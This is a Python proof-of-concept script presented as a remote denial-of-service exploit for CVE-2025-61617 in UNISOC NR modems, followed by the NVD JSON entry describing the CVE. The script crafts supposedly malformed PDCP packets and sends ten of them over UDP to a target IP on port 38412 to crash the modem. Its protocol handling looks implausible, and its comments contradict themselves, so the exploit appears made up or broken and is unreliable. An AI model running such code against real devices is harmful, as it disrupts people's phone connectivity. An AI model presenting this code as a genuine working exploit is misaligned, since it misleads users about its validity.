CVE-2025-61617

# CVE-2025-61617 PoC - UNISOC NR Modem Denial of Service # This PoC demonstrates sending malformed NR protocol messages to trigger the vulnerability import socket import struct import random def create_malformed_nr_message(): """ Create a malformed NR PDCP message with invalid IE values to trigger input validation vulnerability in UNISOC NR modem """ # NR PDCP Control Plane message header msg_type = 0x02 # PDCP Control PDU # Malformed PDCP SN (Sequence Number) - out of bounds value pdcp_sn = 0xFFFF # Invalid SN value causing validation bypass # Create message with oversized PDCP SDU length field pdu_length = 0x10000 # Oversized length causing buffer overflow # Construct malformed PDCP PDU header = struct.pack('!BBH', 0x00, # D/C field msg_type, pdcp_sn ) # Add malformed length field length_field = struct.pack('!I', pdu_length) # Add crafted payload with invalid values payload = b'\x00' * 256 + struct.pack('!Q', 0xFFFFFFFFFFFFFFFF) malformed_msg = header + length_field + payload return malformed_msg def send_dos_exploit(target_ip, port=38412): """ Send malformed NR protocol message to trigger DoS """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Create multiple malformed messages for i in range(10): msg = create_malformed_nr_message() sock.sendto(msg, (target_ip, port)) print(f"[*] Sent malformed message {i+1}/10") sock.close() print("[+] Exploit sent successfully - Target modem should crash") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Target configuration target_ip = "<target_device_ip>" target_port = 38412 print("[*] CVE-2025-61617 PoC - UNISOC NR Modem Input Validation DoS") print("[*] Target: " + target_ip) send_dos_exploit(target_ip, target_port)

{"cve": {"id": "CVE-2025-61617", "sourceIdentifier": "[email protected]", "published": "2025-12-01T08:15:48.740", "lastModified": "2025-12-02T15:53:53.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In nr modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed"}, {"lang": "es", "value": "En el módem nr, existe una posible caída del sistema debido a una validación de entrada inadecuada. Esto podría conducir a una denegación de servicio remota sin necesidad de privilegios de ejecución adicionales."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2DA04F2-5351-4043-A330-5397E627A222"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FC033D2C-ED1A-4EAB-A77B-8E1C88C74B0A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC7743D5-B187-48D4-BC77-D8DCDF263166"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D1F3B9D-142F-4E70-8477-E26D921EF19A"}]}]}], "references": [{"url": "https://www.unisoc.com/en/support/announcement/1995394837938163714", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}